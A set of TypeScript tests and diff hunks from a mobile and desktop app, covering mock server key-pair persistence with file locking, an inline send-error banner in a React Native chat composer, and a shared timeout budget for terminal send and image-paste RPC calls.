import { mkdtempSync, readFileSync, readdirSync, rmSync, statSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { dirname, join } from 'node:path'
|
||||
import { pathToFileURL } from 'node:url'
|
||||
import nacl from 'tweetnacl'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
import { loadOrCreateMockServerKeyPair } from '../scripts/mock-server-key-pair'
|
||||
|
||||
const temporaryDirectories: string[] = []
|
||||
|
||||
type ConcurrentCreator = {
|
||||
ready: Promise<void>
|
||||
calling: Promise<void>
|
||||
start: () => void
|
||||
stop: () => void
|
||||
closed: Promise<void>
|
||||
result: Promise<string>
|
||||
}
|
||||
|
||||
function keyFilePath(): string {
|
||||
const directory = mkdtempSync(join(tmpdir(), 'orca-mock-key-'))
|
||||
temporaryDirectories.push(directory)
|
||||
return join(directory, 'server-key')
|
||||
}
|
||||
|
||||
function runConcurrentCreator(keyFile: string): ConcurrentCreator {
|
||||
const moduleUrl = pathToFileURL(
|
||||
join(import.meta.dirname, '../scripts/mock-server-key-pair.ts')
|
||||
).href
|
||||
const script = `
|
||||
const { loadOrCreateMockServerKeyPair } = await import(process.argv[1])
|
||||
process.stdout.write('READY\\n')
|
||||
await new Promise((resolve) => process.stdin.once('data', resolve))
|
||||
process.stdout.write('CALLING\\n')
|
||||
const keyPair = loadOrCreateMockServerKeyPair(process.argv[2], { warn() {} })
|
||||
process.stdout.write('KEY:' + Buffer.from(keyPair.secretKey).toString('base64') + '\\n')
|
||||
`
|
||||
const child = spawn(
|
||||
process.execPath,
|
||||
['--import', 'tsx', '--input-type=module', '--eval', script, moduleUrl, keyFile],
|
||||
{ stdio: ['pipe', 'pipe', 'pipe'] }
|
||||
)
|
||||
let stdout = ''
|
||||
let stderr = ''
|
||||
let resolveReady!: () => void
|
||||
let rejectReady!: (error: Error) => void
|
||||
let resolveCalling!: () => void
|
||||
let rejectCalling!: (error: Error) => void
|
||||
const ready = new Promise<void>((resolve, reject) => {
|
||||
resolveReady = resolve
|
||||
rejectReady = reject
|
||||
})
|
||||
const calling = new Promise<void>((resolve, reject) => {
|
||||
resolveCalling = resolve
|
||||
rejectCalling = reject
|
||||
})
|
||||
let resolveClosed!: () => void
|
||||
const closed = new Promise<void>((resolve) => {
|
||||
resolveClosed = resolve
|
||||
})
|
||||
const timeout = setTimeout(() => child.kill(), 5_000)
|
||||
timeout.unref()
|
||||
child.stdout.on('data', (chunk) => {
|
||||
stdout += chunk.toString()
|
||||
if (stdout.includes('READY\n')) {
|
||||
resolveReady()
|
||||
}
|
||||
if (stdout.includes('CALLING\n')) {
|
||||
resolveCalling()
|
||||
}
|
||||
})
|
||||
child.stderr.on('data', (chunk) => {
|
||||
stderr += chunk.toString()
|
||||
})
|
||||
const result = new Promise<string>((resolve, reject) => {
|
||||
child.on('error', (error) => {
|
||||
rejectReady(error)
|
||||
rejectCalling(error)
|
||||
reject(error)
|
||||
})
|
||||
child.on('close', (code) => {
|
||||
clearTimeout(timeout)
|
||||
resolveClosed()
|
||||
const error = new Error(stderr || `Concurrent key creator exited ${code}`)
|
||||
if (!stdout.includes('READY\n')) {
|
||||
rejectReady(error)
|
||||
}
|
||||
if (!stdout.includes('CALLING\n')) {
|
||||
rejectCalling(error)
|
||||
}
|
||||
const key = stdout.match(/KEY:([A-Za-z0-9+/=]+)\n/)?.[1]
|
||||
if (code === 0 && key) {
|
||||
resolve(key)
|
||||
} else {
|
||||
reject(error)
|
||||
}
|
||||
})
|
||||
})
|
||||
void result.catch(() => {})
|
||||
return {
|
||||
ready,
|
||||
calling,
|
||||
start: () => {
|
||||
if (!child.stdin.destroyed && !child.stdin.writableEnded) {
|
||||
child.stdin.end('go\n')
|
||||
}
|
||||
},
|
||||
stop: () => {
|
||||
if (child.exitCode === null && child.signalCode === null) {
|
||||
child.kill()
|
||||
}
|
||||
},
|
||||
closed,
|
||||
result
|
||||
}
|
||||
}
|
||||
|
||||
async function cleanupConcurrentCreators(
|
||||
creators: ConcurrentCreator[],
|
||||
lockFile: string,
|
||||
removeLock: boolean
|
||||
): Promise<void> {
|
||||
let lockRemovalError: unknown
|
||||
if (removeLock) {
|
||||
try {
|
||||
rmSync(lockFile, { force: true })
|
||||
} catch (error) {
|
||||
lockRemovalError = error
|
||||
}
|
||||
}
|
||||
creators.forEach((creator) => {
|
||||
creator.start()
|
||||
creator.stop()
|
||||
})
|
||||
await Promise.allSettled(creators.flatMap((creator) => [creator.result, creator.closed]))
|
||||
if (lockRemovalError) {
|
||||
throw lockRemovalError
|
||||
}
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
for (const directory of temporaryDirectories.splice(0)) {
|
||||
rmSync(directory, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
describe('mock server key persistence', () => {
|
||||
it('persists one private key and reuses it after restart', () => {
|
||||
const keyFile = keyFilePath()
|
||||
const first = loadOrCreateMockServerKeyPair(keyFile, { warn: vi.fn() })
|
||||
const second = loadOrCreateMockServerKeyPair(keyFile)
|
||||
|
||||
expect(second.secretKey).toEqual(first.secretKey)
|
||||
expect(readFileSync(keyFile, 'utf-8')).toBe(Buffer.from(first.secretKey).toString('base64'))
|
||||
expect(readdirSync(dirname(keyFile))).toEqual(['server-key'])
|
||||
if (process.platform !== 'win32') {
|
||||
expect(statSync(keyFile).mode & 0o777).toBe(0o600)
|
||||
}
|
||||
})
|
||||
|
||||
it('re-keys canonical-length content with malformed base64', () => {
|
||||
const keyFile = keyFilePath()
|
||||
const encoded = Buffer.from(nacl.box.keyPair().secretKey).toString('base64')
|
||||
const malformed = `${encoded.slice(0, 4)}!${encoded.slice(4)}`
|
||||
expect(Buffer.from(malformed, 'base64')).toHaveLength(nacl.box.secretKeyLength)
|
||||
writeFileSync(keyFile, malformed)
|
||||
const logger = { warn: vi.fn() }
|
||||
|
||||
const loaded = loadOrCreateMockServerKeyPair(keyFile, logger)
|
||||
|
||||
expect(logger.warn).toHaveBeenCalledWith(expect.stringContaining('invalid base64'))
|
||||
expect(readFileSync(keyFile, 'utf-8')).toBe(Buffer.from(loaded.secretKey).toString('base64'))
|
||||
})
|
||||
|
||||
it('makes concurrent creators converge on the persisted winner', async () => {
|
||||
const keyFile = keyFilePath()
|
||||
const lockFile = `${keyFile}.lock`
|
||||
writeFileSync(lockFile, '', { flag: 'wx', mode: 0o600 })
|
||||
const firstCreator = runConcurrentCreator(keyFile)
|
||||
const secondCreator = runConcurrentCreator(keyFile)
|
||||
const creators = [firstCreator, secondCreator]
|
||||
let parentOwnsLock = true
|
||||
try {
|
||||
await Promise.all(creators.map((creator) => creator.ready))
|
||||
creators.forEach((creator) => creator.start())
|
||||
await Promise.all(creators.map((creator) => creator.calling))
|
||||
await new Promise((resolve) => setTimeout(resolve, 50))
|
||||
rmSync(lockFile)
|
||||
parentOwnsLock = false
|
||||
const [first, second] = await Promise.all(creators.map((creator) => creator.result))
|
||||
|
||||
expect(second).toBe(first)
|
||||
expect(readFileSync(keyFile, 'utf-8')).toBe(first)
|
||||
expect(readdirSync(dirname(keyFile))).toEqual(['server-key'])
|
||||
} finally {
|
||||
await cleanupConcurrentCreators(creators, lockFile, parentOwnsLock)
|
||||
}
|
||||
})
|
||||
|
||||
it('does not overwrite an invalid key owned by another creator', () => {
|
||||
const keyFile = keyFilePath()
|
||||
writeFileSync(keyFile, 'invalid')
|
||||
writeFileSync(`${keyFile}.lock`, '', { flag: 'wx', mode: 0o600 })
|
||||
|
||||
expect(() => loadOrCreateMockServerKeyPair(keyFile)).toThrow('remained busy')
|
||||
expect(readFileSync(keyFile, 'utf-8')).toBe('invalid')
|
||||
})
|
||||
})
|
||||
@@ -114,6 +114,31 @@ describe('MobileNativeChatComposer', () => {
|
||||
expect(onSend).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('keeps the text input editable while the send is locked', async () => {
|
||||
const restore = suppressRendererWarning()
|
||||
try {
|
||||
await act(async () => {
|
||||
renderer = create(
|
||||
createElement(MobileNativeChatComposer, {
|
||||
value: 'half-typed',
|
||||
onChangeText: vi.fn(),
|
||||
onSend: vi.fn().mockResolvedValue(true),
|
||||
disabled: true
|
||||
})
|
||||
)
|
||||
})
|
||||
} finally {
|
||||
restore()
|
||||
}
|
||||
// Revoking `editable` on a focused field resigns first responder on iOS and
|
||||
// yanks the keyboard mid-typing (#10681) — the lock may only gate sending.
|
||||
const input = renderer!.root.find((node) => node.type === 'TextInput') as {
|
||||
props: { editable?: boolean }
|
||||
}
|
||||
expect(input.props.editable).not.toBe(false)
|
||||
expect(sendButton().props).toMatchObject({ disabled: true })
|
||||
})
|
||||
|
||||
it('renders a removable thumbnail for each pending image attachment', async () => {
|
||||
const onRemoveAttachment = vi.fn()
|
||||
const restore = suppressRendererWarning()
|
||||
|
||||
@@ -215,7 +215,9 @@ export function MobileNativeChatComposer({
|
||||
placeholderTextColor={colors.textMuted}
|
||||
selectionColor={colors.accentBlue}
|
||||
multiline
|
||||
editable={!disabled}
|
||||
// Why: never revoke `editable` — iOS resigns first responder on a focused
|
||||
// field, so a transient lock would yank the keyboard mid-typing (#10681).
|
||||
// The lock gates sending; the draft survives and rides the next send.
|
||||
textAlignVertical="top"
|
||||
/>
|
||||
{onMicPress ? (
|
||||
|
||||
@@ -14,6 +14,10 @@ type Props = {
|
||||
onMicPressIn: () => void
|
||||
onMicPressOut: () => void
|
||||
inputLockReason: MobileNativeChatInputLockReason | null
|
||||
/** Latest send failure, rendered inline above the composer. */
|
||||
sendErrorMessage: string | null
|
||||
/** Drops that failure once a later send succeeds. */
|
||||
onClearSendError: () => void
|
||||
keyboardInset: number
|
||||
}
|
||||
|
||||
@@ -28,6 +32,8 @@ export function MobileNativeChatOverlay({
|
||||
onMicPressIn,
|
||||
onMicPressOut,
|
||||
inputLockReason,
|
||||
sendErrorMessage,
|
||||
onClearSendError,
|
||||
keyboardInset
|
||||
}: Props): React.JSX.Element | null {
|
||||
if (!controller.showNativeChat) {
|
||||
@@ -69,6 +75,8 @@ export function MobileNativeChatOverlay({
|
||||
onMicPressIn={onMicPressIn}
|
||||
onMicPressOut={onMicPressOut}
|
||||
inputLockReason={inputLockReason}
|
||||
sendErrorMessage={sendErrorMessage}
|
||||
onClearSendError={onClearSendError}
|
||||
filePaths={controller.nativeChatFilePaths}
|
||||
onNeedFiles={controller.loadNativeChatFiles}
|
||||
keyboardInset={keyboardInset}
|
||||
|
||||
@@ -0,0 +1,164 @@
|
||||
import { createElement } from 'react'
|
||||
import { act, create, type ReactTestInstance, type ReactTestRenderer } from 'react-test-renderer'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import { MobileNativeChatView } from './MobileNativeChatView'
|
||||
|
||||
vi.mock('react-native', () => ({
|
||||
ActivityIndicator: 'ActivityIndicator',
|
||||
FlatList: 'FlatList',
|
||||
Pressable: 'Pressable',
|
||||
StyleSheet: { create: (styles: unknown) => styles, hairlineWidth: 1 },
|
||||
Text: 'Text',
|
||||
View: 'View'
|
||||
}))
|
||||
|
||||
vi.mock('react-native-safe-area-context', () => ({
|
||||
useSafeAreaInsets: () => ({ top: 0, bottom: 0, left: 0, right: 0 })
|
||||
}))
|
||||
|
||||
vi.mock('react-native-gesture-handler', () => {
|
||||
const chain = {
|
||||
runOnJS: () => chain,
|
||||
onStart: () => chain,
|
||||
onUpdate: () => chain
|
||||
}
|
||||
return {
|
||||
Gesture: { Simultaneous: () => ({}), Native: () => ({}), Pinch: () => chain },
|
||||
GestureDetector: 'GestureDetector',
|
||||
GestureHandlerRootView: 'GestureHandlerRootView'
|
||||
}
|
||||
})
|
||||
|
||||
vi.mock('lucide-react-native', () => ({
|
||||
ArrowDown: 'ArrowDown',
|
||||
ChevronsDownUp: 'ChevronsDownUp',
|
||||
ChevronsUpDown: 'ChevronsUpDown',
|
||||
Square: 'Square'
|
||||
}))
|
||||
|
||||
vi.mock('./MobileNativeChatMessage', () => ({ MobileNativeChatMessage: 'ChatMessage' }))
|
||||
vi.mock('./MobileNativeChatAsk', () => ({ MobileNativeChatAsk: 'ChatAsk' }))
|
||||
vi.mock('./MobileNativeChatPermission', () => ({ MobileNativeChatPermission: 'ChatPermission' }))
|
||||
vi.mock('./MobileNativeChatQuestion', () => ({ MobileNativeChatQuestion: 'ChatQuestion' }))
|
||||
vi.mock('./MobileAgentWorkingIndicator', () => ({
|
||||
MobileAgentWorkingIndicator: 'WorkingIndicator'
|
||||
}))
|
||||
|
||||
// Stand-in composer: exposes the view's `handleSend` through a pressable, which is
|
||||
// the only composer behaviour these banner tests exercise.
|
||||
vi.mock('./MobileNativeChatComposer', async () => {
|
||||
const React = await import('react')
|
||||
return {
|
||||
MobileNativeChatComposer: (props: { onSend: (text: string) => Promise<boolean> }) =>
|
||||
React.createElement('Composer', {
|
||||
accessibilityLabel: 'Send message',
|
||||
onPress: () => props.onSend('hi')
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
type Overrides = {
|
||||
sendErrorMessage?: string | null
|
||||
onClearSendError?: () => void
|
||||
inputLockReason?: 'disconnected' | 'waiting' | null
|
||||
onSend?: (text: string) => Promise<boolean>
|
||||
}
|
||||
|
||||
function suppressRendererWarning(): () => void {
|
||||
const original = console.error
|
||||
const spy = vi.spyOn(console, 'error').mockImplementation((...args) => {
|
||||
if (typeof args[0] === 'string' && args[0].includes('react-test-renderer is deprecated')) {
|
||||
return
|
||||
}
|
||||
original(...args)
|
||||
})
|
||||
return () => spy.mockRestore()
|
||||
}
|
||||
|
||||
describe('MobileNativeChatView send-error banner', () => {
|
||||
let renderer: ReactTestRenderer | null = null
|
||||
|
||||
beforeEach(() => {
|
||||
globalThis.IS_REACT_ACT_ENVIRONMENT = true
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
act(() => renderer?.unmount())
|
||||
renderer = null
|
||||
})
|
||||
|
||||
async function render(overrides: Overrides = {}): Promise<void> {
|
||||
const restore = suppressRendererWarning()
|
||||
try {
|
||||
await act(async () => {
|
||||
renderer = create(
|
||||
createElement(MobileNativeChatView, {
|
||||
messages: [],
|
||||
status: 'ready',
|
||||
onSend: overrides.onSend ?? vi.fn().mockResolvedValue(true),
|
||||
pending: [],
|
||||
composerText: '',
|
||||
onComposerTextChange: vi.fn(),
|
||||
...overrides
|
||||
})
|
||||
)
|
||||
})
|
||||
} finally {
|
||||
restore()
|
||||
}
|
||||
}
|
||||
|
||||
function banners(): ReactTestInstance[] {
|
||||
return renderer!.root.findAll((node) => node.props.accessibilityRole === 'alert')
|
||||
}
|
||||
|
||||
function bannerText(): string {
|
||||
const [alert, ...rest] = banners()
|
||||
expect(rest).toHaveLength(0)
|
||||
return alert
|
||||
.findAll((node) => node.type === 'Text')
|
||||
.map((node) => node.props.children)
|
||||
.join('')
|
||||
}
|
||||
|
||||
async function pressSend(): Promise<void> {
|
||||
const composer = renderer!.root.find((node) => node.type === 'Composer') as {
|
||||
props: { onPress: () => Promise<boolean> }
|
||||
}
|
||||
await act(async () => {
|
||||
await composer.props.onPress()
|
||||
})
|
||||
}
|
||||
|
||||
it('renders the route-reported failure verbatim', async () => {
|
||||
await render({ sendErrorMessage: 'Permission reply failed' })
|
||||
|
||||
expect(banners()).toHaveLength(1)
|
||||
expect(bannerText()).toContain('Permission reply failed')
|
||||
})
|
||||
|
||||
it('does not duplicate the route banner when the composer rejects', async () => {
|
||||
const onClearSendError = vi.fn()
|
||||
await render({
|
||||
onSend: vi.fn().mockResolvedValue(false),
|
||||
inputLockReason: 'disconnected',
|
||||
sendErrorMessage: 'Stop failed',
|
||||
onClearSendError
|
||||
})
|
||||
await pressSend()
|
||||
|
||||
expect(onClearSendError).not.toHaveBeenCalled()
|
||||
expect(banners()).toHaveLength(1)
|
||||
expect(bannerText()).toContain('Stop failed')
|
||||
expect(bannerText()).toBe('Stop failed')
|
||||
})
|
||||
|
||||
it('retires the route-owned banner once a send is accepted', async () => {
|
||||
const onClearSendError = vi.fn()
|
||||
await render({ sendErrorMessage: 'Stop failed', onClearSendError })
|
||||
|
||||
await pressSend()
|
||||
|
||||
expect(onClearSendError).toHaveBeenCalledOnce()
|
||||
})
|
||||
})
|
||||
@@ -71,6 +71,13 @@ type Props = {
|
||||
onMicPressIn?: () => void
|
||||
onMicPressOut?: () => void
|
||||
inputLockReason?: MobileNativeChatInputLockReason | null
|
||||
/** Route-reported send failure (answer cards, permission replies, stop). Shares the
|
||||
* inline banner with a rejected composer send, so one failure paints once. The
|
||||
* route routes these here only while this view is mounted, and falls back to its
|
||||
* toast otherwise — a deferred failure must not land on an unmounted banner. */
|
||||
sendErrorMessage?: string | null
|
||||
/** Clears `sendErrorMessage` once a later send is accepted. */
|
||||
onClearSendError?: () => void
|
||||
filePaths?: string[]
|
||||
onNeedFiles?: (query: string) => void
|
||||
/** A pending agent question/permission detected from live status, shown as a
|
||||
@@ -118,6 +125,8 @@ export function MobileNativeChatView({
|
||||
onMicPressIn,
|
||||
onMicPressOut,
|
||||
inputLockReason,
|
||||
sendErrorMessage,
|
||||
onClearSendError,
|
||||
filePaths,
|
||||
onNeedFiles,
|
||||
ask,
|
||||
@@ -143,17 +152,6 @@ export function MobileNativeChatView({
|
||||
const [atBottom, setAtBottom] = useState(true)
|
||||
const sendScrollTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null)
|
||||
const { fontScale, pinchGesture } = useMobileNativeChatPinchGesture()
|
||||
// Surface a rejected send inline above the composer — a bottom toast gets hidden
|
||||
// behind the keyboard (the case that prompted this). Auto-dismisses after a beat.
|
||||
const [sendFailed, setSendFailed] = useState(false)
|
||||
useEffect(() => {
|
||||
if (!sendFailed) {
|
||||
return
|
||||
}
|
||||
const t = setTimeout(() => setSendFailed(false), 4000)
|
||||
return () => clearTimeout(t)
|
||||
}, [sendFailed])
|
||||
|
||||
useEffect(
|
||||
() => () => {
|
||||
if (sendScrollTimerRef.current) {
|
||||
@@ -189,10 +187,11 @@ export function MobileNativeChatView({
|
||||
async (text: string): Promise<boolean> => {
|
||||
const accepted = await onSend(text)
|
||||
if (!accepted) {
|
||||
setSendFailed(true)
|
||||
return false
|
||||
}
|
||||
setSendFailed(false)
|
||||
// The route-owned banner outlives this send; a success must retire it too,
|
||||
// or a stale "Message not sent" sits above the delivered message.
|
||||
onClearSendError?.()
|
||||
// Always jump to the newest message when the user sends.
|
||||
setAtBottom(true)
|
||||
if (sendScrollTimerRef.current) {
|
||||
@@ -204,7 +203,7 @@ export function MobileNativeChatView({
|
||||
}, 60)
|
||||
return true
|
||||
},
|
||||
[onSend]
|
||||
[onSend, onClearSendError]
|
||||
)
|
||||
|
||||
const onScroll = useCallback(
|
||||
@@ -397,13 +396,14 @@ export function MobileNativeChatView({
|
||||
</Pressable>
|
||||
) : null}
|
||||
</View>
|
||||
{sendFailed ? (
|
||||
<View style={styles.sendError}>
|
||||
<Text style={styles.sendErrorText}>
|
||||
{rawLockReason === 'disconnected'
|
||||
? 'Message not sent — reconnecting…'
|
||||
: 'Message not sent'}
|
||||
</Text>
|
||||
{sendErrorMessage ? (
|
||||
// This banner is the only channel for a send failure — announce it.
|
||||
<View
|
||||
style={styles.sendError}
|
||||
accessibilityRole="alert"
|
||||
accessibilityLiveRegion="assertive"
|
||||
>
|
||||
<Text style={styles.sendErrorText}>{sendErrorMessage}</Text>
|
||||
</View>
|
||||
) : null}
|
||||
<MobileNativeChatComposer
|
||||
|
||||
@@ -68,4 +68,36 @@ describe('pasteMobileNativeChatImagePaths', () => {
|
||||
expect(client.calls[1]?.params.text).toBe('\x1b[200~/tmp/a.png\x1b[201~')
|
||||
expect(client.calls[0]?.params).not.toHaveProperty('client')
|
||||
})
|
||||
|
||||
it('aborts rather than scheduling a write past the shared paste deadline', async () => {
|
||||
vi.useFakeTimers()
|
||||
try {
|
||||
const responses = [sendResult(true), sendResult(true), sendResult(true)]
|
||||
const calls: { timeoutMs: unknown }[] = []
|
||||
// Each write burns 10s, so the 15s sequence budget is spent by the third.
|
||||
const client = {
|
||||
sendRequest: vi.fn(async (_method: string, _params?: unknown, options?: unknown) => {
|
||||
calls.push({ timeoutMs: (options as { timeoutMs: number }).timeoutMs })
|
||||
vi.advanceTimersByTime(10_000)
|
||||
return responses.shift()!
|
||||
})
|
||||
}
|
||||
|
||||
const ok = await pasteMobileNativeChatImagePaths({
|
||||
client,
|
||||
terminal: 'term-1',
|
||||
deviceToken: null,
|
||||
imagePaths: ['/tmp/a.png', '/tmp/b.png']
|
||||
})
|
||||
|
||||
expect(ok).toBe(false)
|
||||
// Clear + first image only; the second image is never written.
|
||||
expect(calls).toHaveLength(2)
|
||||
expect(calls[0]?.timeoutMs).toBe(15_000)
|
||||
// Positive-but-small remainder still gets the floor.
|
||||
expect(calls[1]?.timeoutMs).toBe(5_000)
|
||||
} finally {
|
||||
vi.useRealTimers()
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
@@ -1,5 +1,9 @@
|
||||
import type { RpcClient } from '../transport/rpc-client'
|
||||
import { buildMobileImagePastePayload } from './mobile-clipboard-image'
|
||||
import {
|
||||
MOBILE_NATIVE_CHAT_MIN_WRITE_TIMEOUT_MS,
|
||||
openMobileNativeChatSendBudget
|
||||
} from './mobile-native-chat-send'
|
||||
import { isTerminalSendRpcAccepted } from '../terminal/terminal-send-rpc-response'
|
||||
|
||||
// Give the agent TUI a beat to register each bracketed image paste before the
|
||||
@@ -19,6 +23,9 @@ type PasteImagesArgs = {
|
||||
readonly terminal: string
|
||||
readonly deviceToken: string | null
|
||||
readonly imagePaths: readonly string[]
|
||||
/** Budget shared with the rest of the user action (the text body that follows, or
|
||||
* the send this is healing for). Omit to open a fresh one for this paste alone. */
|
||||
readonly deadline?: number
|
||||
}
|
||||
|
||||
/** Clears the agent's unsubmitted input line, then pastes each uploaded image
|
||||
@@ -30,22 +37,40 @@ export async function pasteMobileNativeChatImagePaths({
|
||||
client,
|
||||
terminal,
|
||||
deviceToken,
|
||||
imagePaths
|
||||
imagePaths,
|
||||
deadline: sharedDeadline
|
||||
}: PasteImagesArgs): Promise<boolean> {
|
||||
const mobileClient: MobileTerminalClient | null = deviceToken
|
||||
? { id: deviceToken, type: 'mobile' }
|
||||
: null
|
||||
const clientField = mobileClient ? { client: mobileClient } : {}
|
||||
// Why: this is a sequential loop, so a per-write budget multiplies by the number
|
||||
// of images — the composer stays `sending` the whole time. Budget the sequence
|
||||
// once and let each write draw from what's left.
|
||||
const deadline = sharedDeadline ?? openMobileNativeChatSendBudget()
|
||||
for (const text of [
|
||||
MOBILE_NATIVE_CHAT_CLEAR_UNSUBMITTED_INPUT,
|
||||
...imagePaths.map(buildMobileImagePastePayload)
|
||||
]) {
|
||||
const response = await client.sendRequest('terminal.send', {
|
||||
terminal,
|
||||
text,
|
||||
enter: false,
|
||||
...clientField
|
||||
})
|
||||
const remainingMs = deadline - Date.now()
|
||||
// Why: the budget is the whole sequence's — starting a write it can't fund would
|
||||
// let a multi-image paste overrun before the text body even begins its own send.
|
||||
// Abort instead; the caller reports the failure and can retry.
|
||||
if (remainingMs < MOBILE_NATIVE_CHAT_MIN_WRITE_TIMEOUT_MS) {
|
||||
return false
|
||||
}
|
||||
const response = await client.sendRequest(
|
||||
'terminal.send',
|
||||
{
|
||||
terminal,
|
||||
text,
|
||||
enter: false,
|
||||
...clientField
|
||||
},
|
||||
// The remaining budget covers the reconnect wait too; a fresh post-connect
|
||||
// clock here would let one write outlast the whole sequence's ceiling.
|
||||
{ timeoutMs: remainingMs, budgetSpansConnect: true }
|
||||
)
|
||||
if (!isTerminalSendRpcAccepted(response)) {
|
||||
return false
|
||||
}
|
||||
|
||||
@@ -3,6 +3,7 @@ import { act, create, type ReactTestRenderer } from 'react-test-renderer'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import type { RpcClient } from '../transport/rpc-client'
|
||||
import { markRpcDeliveryUnknown } from '../transport/rpc-delivery-ambiguity'
|
||||
import { MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS } from './mobile-native-chat-send'
|
||||
import {
|
||||
sendMobileNativeChatPermissionResponse,
|
||||
useMobileNativeChatPermissionSend
|
||||
@@ -28,12 +29,16 @@ describe('sendMobileNativeChatPermissionResponse', () => {
|
||||
text: '1'
|
||||
})
|
||||
).resolves.toBe('accepted')
|
||||
expect(sendRequest).toHaveBeenCalledWith('terminal.send', {
|
||||
terminal: 'terminal',
|
||||
text: '1',
|
||||
enter: false,
|
||||
client: { id: 'phone', type: 'mobile' }
|
||||
})
|
||||
expect(sendRequest).toHaveBeenCalledWith(
|
||||
'terminal.send',
|
||||
{
|
||||
terminal: 'terminal',
|
||||
text: '1',
|
||||
enter: false,
|
||||
client: { id: 'phone', type: 'mobile' }
|
||||
},
|
||||
{ timeoutMs: MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS, budgetSpansConnect: true }
|
||||
)
|
||||
})
|
||||
|
||||
it('surfaces an ambiguous delivery as unknown instead of a definite failure', async () => {
|
||||
|
||||
@@ -3,6 +3,8 @@ import type { RpcClient } from '../transport/rpc-client'
|
||||
import { markRpcDeliveryUnknown } from '../transport/rpc-delivery-ambiguity'
|
||||
import { LogicalClientCutoverError } from '../transport/stable-logical-rpc-client'
|
||||
import {
|
||||
MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS,
|
||||
openMobileNativeChatSendBudget,
|
||||
sendMobileNativeChatMessage,
|
||||
sendMobileNativeChatMessageWithOutcome
|
||||
} from './mobile-native-chat-send'
|
||||
@@ -30,12 +32,16 @@ describe('sendMobileNativeChatMessage', () => {
|
||||
mobileClient: { id: 'device', type: 'mobile' }
|
||||
})
|
||||
).resolves.toBe(true)
|
||||
expect(client.sendRequest).toHaveBeenCalledWith('terminal.send', {
|
||||
terminal: 'term',
|
||||
text: 'hello',
|
||||
enter: true,
|
||||
client: { id: 'device', type: 'mobile' }
|
||||
})
|
||||
expect(client.sendRequest).toHaveBeenCalledWith(
|
||||
'terminal.send',
|
||||
{
|
||||
terminal: 'term',
|
||||
text: 'hello',
|
||||
enter: true,
|
||||
client: { id: 'device', type: 'mobile' }
|
||||
},
|
||||
{ timeoutMs: MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS, budgetSpansConnect: true }
|
||||
)
|
||||
})
|
||||
|
||||
it('returns false when the terminal rejects the send', async () => {
|
||||
@@ -87,6 +93,34 @@ describe('sendMobileNativeChatMessage', () => {
|
||||
).resolves.toBe(false)
|
||||
})
|
||||
|
||||
it('reports an unknown outcome when the request timeout expires', async () => {
|
||||
// The request-timeout path: the frame was written and only the ack is missing,
|
||||
// so calling it "Message not sent" would hide a message the desktop received.
|
||||
const client = {
|
||||
sendRequest: vi
|
||||
.fn()
|
||||
.mockRejectedValue(markRpcDeliveryUnknown(new Error('Request timed out: terminal.send')))
|
||||
} as unknown as RpcClient
|
||||
|
||||
await expect(
|
||||
sendMobileNativeChatMessageWithOutcome({ client, terminal: 'term', text: 'hello' })
|
||||
).resolves.toBe('unknown')
|
||||
})
|
||||
|
||||
it('reports a definite rejection when the connect wait times out', async () => {
|
||||
// The same timeout budget also covers the pre-connect wait, which is deliberately
|
||||
// NOT marked delivery-unknown — no frame was ever written.
|
||||
const client = {
|
||||
sendRequest: vi
|
||||
.fn()
|
||||
.mockRejectedValue(new Error('Timed out while connecting to the remote Orca runtime.'))
|
||||
} as unknown as RpcClient
|
||||
|
||||
await expect(
|
||||
sendMobileNativeChatMessageWithOutcome({ client, terminal: 'term', text: 'hello' })
|
||||
).resolves.toBe('rejected')
|
||||
})
|
||||
|
||||
it('reports an unknown outcome when a logical cutover interrupts the send', async () => {
|
||||
const client = {
|
||||
sendRequest: vi.fn().mockRejectedValue(new LogicalClientCutoverError())
|
||||
@@ -149,10 +183,59 @@ describe('sendMobileNativeChatMessage', () => {
|
||||
text: String.fromCharCode(27),
|
||||
enter: false
|
||||
})
|
||||
expect(client.sendRequest).toHaveBeenCalledWith('terminal.send', {
|
||||
terminal: 'term',
|
||||
text: String.fromCharCode(27),
|
||||
enter: false
|
||||
expect(client.sendRequest).toHaveBeenCalledWith(
|
||||
'terminal.send',
|
||||
{
|
||||
terminal: 'term',
|
||||
text: String.fromCharCode(27),
|
||||
enter: false
|
||||
},
|
||||
{ timeoutMs: MOBILE_NATIVE_CHAT_SEND_TIMEOUT_MS, budgetSpansConnect: true }
|
||||
)
|
||||
})
|
||||
|
||||
it('spends only what is left of a shared budget', async () => {
|
||||
const client = clientWithResponse({
|
||||
id: 'request',
|
||||
ok: true,
|
||||
result: { send: { accepted: true } },
|
||||
_meta: { runtimeId: 'runtime' }
|
||||
})
|
||||
|
||||
await sendMobileNativeChatMessageWithOutcome({
|
||||
client,
|
||||
terminal: 'term',
|
||||
text: 'hi',
|
||||
deadline: Date.now() + 4_000
|
||||
})
|
||||
const options = vi.mocked(client.sendRequest).mock.calls[0]?.[2] as { timeoutMs: number }
|
||||
expect(options.timeoutMs).toBeGreaterThan(3_000)
|
||||
expect(options.timeoutMs).toBeLessThanOrEqual(4_000)
|
||||
})
|
||||
|
||||
it('refuses a write whose shared budget cannot fund the final acknowledgement', async () => {
|
||||
const client = clientWithResponse({
|
||||
id: 'request',
|
||||
ok: true,
|
||||
result: { send: { accepted: true } },
|
||||
_meta: { runtimeId: 'runtime' }
|
||||
})
|
||||
|
||||
// Nothing reaches the wire, so this is a definite non-send rather than ambiguous.
|
||||
await expect(
|
||||
sendMobileNativeChatMessageWithOutcome({
|
||||
client,
|
||||
terminal: 'term',
|
||||
text: 'hi',
|
||||
deadline: Date.now() + 400
|
||||
})
|
||||
).resolves.toBe('rejected')
|
||||
expect(client.sendRequest).not.toHaveBeenCalled()
|
||||
})
|
||||
